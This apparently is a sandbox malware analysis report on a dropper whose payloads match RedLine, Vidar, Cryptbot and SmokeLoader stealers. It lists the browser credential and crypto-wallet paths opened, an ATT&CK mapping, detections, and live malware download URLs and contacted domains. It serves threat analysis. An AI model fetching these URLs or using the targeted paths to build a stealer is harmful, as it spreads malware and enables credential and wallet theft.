Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D375.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior

Source: Yara match	File source: 0000001A.00000003.478772499.00000000008C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.570490408.0000000000915000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: A70A.exe PID: 3340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AA02.exe PID: 5976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: D375.exe PID: 6632, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 23.2.C169.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.C169.exe.3dd5e88.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.C169.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.C169.exe.3dd5e88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.C169.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.C169.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.A70A.exe.12e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.C169.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.C169.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.476958517.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.466738621.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.568172041.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.471013875.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.472952857.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.499816087.0000000003BB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: A70A.exe PID: 3340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C169.exe PID: 6276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C169.exe PID: 2256, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Cryptbot

Show sources

Source: Yara match	File source: 0000001A.00000003.478772499.00000000008C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.570490408.0000000000915000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: D375.exe PID: 6632, type: MEMORYSTR

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 0000001C.00000002.503480050.00000000005B1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.374208740.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.503274211.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.353435896.0000000004E91000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.435228556.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.374186262.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.435588764.00000000006B1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AA02.exe PID: 5976, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API11	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools1	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution1	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information11	Input Capture1	Account Discovery1	Remote Desktop Protocol	Data from Local System3	Exfiltration Over Bluetooth	Encrypted Channel21	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter2	Logon Script (Windows)	Process Injection512	Obfuscated Files or Information4	Security Account Manager	File and Directory Discovery3	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing34	NTDS	System Information Discovery165	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol25	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Security Software Discovery10101	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery12	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Virtualization/Sandbox Evasion471	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion471	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Process Injection512	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Hidden Files and Directories1	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
QMn13jz6nj.exe	47%	Virustotal		Browse
QMn13jz6nj.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\C169.exe	100%	Avira	HEUR/AGEN.1144480
C:\Users\user\AppData\Local\Temp\D375.exe	100%	Avira	TR/Crypt.XPACK.Gen2
C:\Users\user\AppData\Local\Temp\D466.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\AA02.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\C169.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B6B5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A70A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\ddigjgj	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D375.exe	100%	Joe Sandbox ML
C:\ProgramData\sqlite3.dll	3%	Metadefender		Browse
C:\ProgramData\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\A70A.exe	26%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\A70A.exe	57%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\C169.exe	37%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\C169.exe	79%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\D375.exe	43%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\D375.exe	86%	ReversingLabs	Win32.Trojan.SelfDel
C:\Users\user\AppData\Local\Temp\D466.exe	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\D466.exe	51%	ReversingLabs	Win32.Trojan.Lockbit

Unpacked PE Files

Source	Detection	Scanner	Label	Download
23.0.C169.exe.990000.2.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
2.0.QMn13jz6nj.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.QMn13jz6nj.exe.2d015a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
31.0.EE61.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
26.0.D375.exe.8e0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
28.0.B6B5.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.2.QMn13jz6nj.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.0.C169.exe.990000.5.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
8.1.ddigjgj.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.0.ddigjgj.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.A70A.exe.12e0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.1.D466.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.C169.exe.900000.1.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
28.0.B6B5.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.0.D466.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.1.QMn13jz6nj.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.0.C169.exe.990000.7.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
9.0.ddigjgj.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.C169.exe.900000.0.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
9.2.ddigjgj.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.0.D375.exe.8e0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
23.0.C169.exe.990000.11.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
8.2.ddigjgj.47915a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.AA02.exe.5b0e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.0.QMn13jz6nj.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.0.C169.exe.990000.3.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
9.0.ddigjgj.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
31.2.EE61.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
9.1.ddigjgj.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.0.C169.exe.990000.1.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
16.0.C169.exe.900000.2.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
11.0.A70A.exe.12e0000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
31.0.EE61.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
11.0.A70A.exe.12e0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.C169.exe.900000.3.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
16.2.C169.exe.900000.0.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
19.0.D466.exe.48d0e50.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.3.D466.exe.48e0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.0.D466.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.0.C169.exe.990000.9.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
23.0.C169.exe.990000.13.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
26.2.D375.exe.8e0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
22.3.AA02.exe.5e0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
26.0.D375.exe.8e0000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
19.0.D466.exe.48d0e50.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.2.C169.exe.990000.1.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
26.0.D375.exe.8e0000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
11.1.A70A.exe.12e0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.1.QMn13jz6nj.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.3.A70A.exe.3460000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
31.0.EE61.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
23.0.C169.exe.990000.0.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
28.0.B6B5.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
28.2.B6B5.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.0.QMn13jz6nj.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
28.1.B6B5.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.2.B6B5.exe.4e15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
31.0.EE61.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
22.2.AA02.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1123417	Download File
11.0.A70A.exe.12e0000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://host-file-host-3.com/files/8723_1638191106_2017.exe	3%	Virustotal		Browse
http://host-file-host-3.com/files/8723_1638191106_2017.exe	100%	Avira URL Cloud	malware
http://hose-file-host4.com/sqlite3.dll	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://hosile-file-host4.com/tratata.php	0%	Avira URL Cloud	safe
http://www.ncn.gov.pl/finansowanie-nauki/pomoc-publiczna	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://host-file-host-3.com/files/5311_1638303032_7343.exe	100%	Avira URL Cloud	malware
http://host-file-host-3.com/files/6096_1638289274_6885.exe	100%	Avira URL Cloud	malware
https://api.ip.sb/ip	0%	URL Reputation	safe
http://microsoft.co	0%	URL Reputation	safe
https://socfinder.site/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://host-file-host-3.com/game.exe	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://95.181.152.139	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22Responsex	0%	URL Reputation	safe
https://cdn.discordapp.com4	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Responsex	0%	Avira URL Cloud	safe
http://privacytoolzforyou-7000.com/downloads/toolspab3.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
https://socfinder.site	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
http://file-file-host4.com/sqlite3.dll	0%	URL Reputation	safe
https://get.adob	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id3Response	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
host-data-coin-11.com	95.213.165.249	true	false	high
privacytoolzforyou-7000.com	95.213.165.249	true	false	high
cdn.discordapp.com	162.159.135.233	true	false	high
host-file-host-3.com	95.213.165.249	true	false	high
www.google.com	142.250.184.100	true	false	high
file-file-host4.com	95.213.165.249	true	false	high
unic7m.top	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://host-file-host-3.com/files/8723_1638191106_2017.exe	true	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://host-file-host-3.com/files/5311_1638303032_7343.exe	true	Avira URL Cloud: malware	unknown
http://host-file-host-3.com/files/6096_1638289274_6885.exe	true	Avira URL Cloud: malware	unknown
http://host-file-host-3.com/game.exe	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/914960103592054858/914961866462232616/Oldening.exe	false		high
http://privacytoolzforyou-7000.com/downloads/toolspab3.exe	true	Avira URL Cloud: malware	unknown
http://file-file-host4.com/sqlite3.dll	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603065372.0000000003E71000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603701559.0000000003EA8000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600555939.0000000003D43000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599060773.00000000030D7000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.595143338.0000000002EB5000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599190914.00000000030ED000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598194373.0000000003016000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594596354.0000000002DF3000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598194373.0000000003016000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594596354.0000000002DF3000.00000004.00000001.sdmp	false		high
http://hose-file-host4.com/sqlite3.dll	AA02.exe, 00000016.00000002.528893220.00000000008FB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id12Response	A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://hosile-file-host4.com/tratata.php	AA02.exe, 00000016.00000002.529782826.000000000094E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false		high
http://www.ncn.gov.pl/finansowanie-nauki/pomoc-publiczna	A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js	A70A.exe, 0000000B.00000000.415048801.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000010.00000002.499816087.0000000003BB1000.00000004.00000001.sdmp, C169.exe, 00000017.00000000.476958517.0000000000402000.00000040.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://microsoft.co	C169.exe, 00000017.00000002.605485647.00000000068A5000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://socfinder.site/	A70A.exe, 0000000B.00000000.415048801.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598194373.0000000003016000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594596354.0000000002DF3000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
